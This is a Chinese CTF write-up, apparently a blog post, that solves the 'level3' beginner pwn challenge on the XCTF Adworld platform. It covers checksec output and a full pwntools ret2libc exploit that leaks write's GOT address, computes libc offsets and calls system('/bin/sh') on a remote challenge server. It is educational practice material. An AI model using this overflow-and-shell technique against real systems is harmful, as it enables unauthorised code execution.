攻防世界新手区level3

6 篇文章 0 订阅

攻防世界新手区level3

下载附件解压之后直接拖进虚拟机,发现还是个压缩包,原来是三个压缩包的套娃,重复操作:加一下后缀.zip解压,得到题目,题目把libc也给了
在这里插入图片描述
checksec level3
在这里插入图片描述

在这里插入图片描述没什么保护,而且buf明显可以溢出
查找字符串果然如题目是没有system和binsh的
在这里插入图片描述

那么我们可以利用write函数(因为write调用过好几次了)得出偏移量,32位程序不同于64位需要寄存器传参而是可以直接传参的。
题目还直接给了libc
看之前写的32位程序的最基本的ret2libc原理就能会了
EXP:

from pwn import *
p=remote('111.200.241.244',53112)
elf=ELF("./level3")

vul_addr=0x8048495
write_plt=elf.plt["write"]
write_got=elf.got["write"]

libc=ELF("./libc_32.so.6")
write_libc=libc.symbols["write"]
sys_libc=libc.symbols["system"]
binsh_libc=libc.search("/bin/sh").next()
padding='a'*(0x88+4)
payload1 = padding+p32(write_plt)+p32(vul_addr)+p32(1)+p32(write_got)+p32(4)
p.recvline()
p.sendline(payload1)

write_addr=u32(p.recv(4))

offsite=write_addr-write_libc
sys_addr=offsite+sys_libc
binsh_addr=offsite+binsh_libc

payload2=padding+p32(sys_addr)+p32(vul_addr)+p32(binsh_addr)
p.recvuntil("Input:\n")
p.sendline(payload2)
p.interactive()

运行结果:
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ca1m4n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值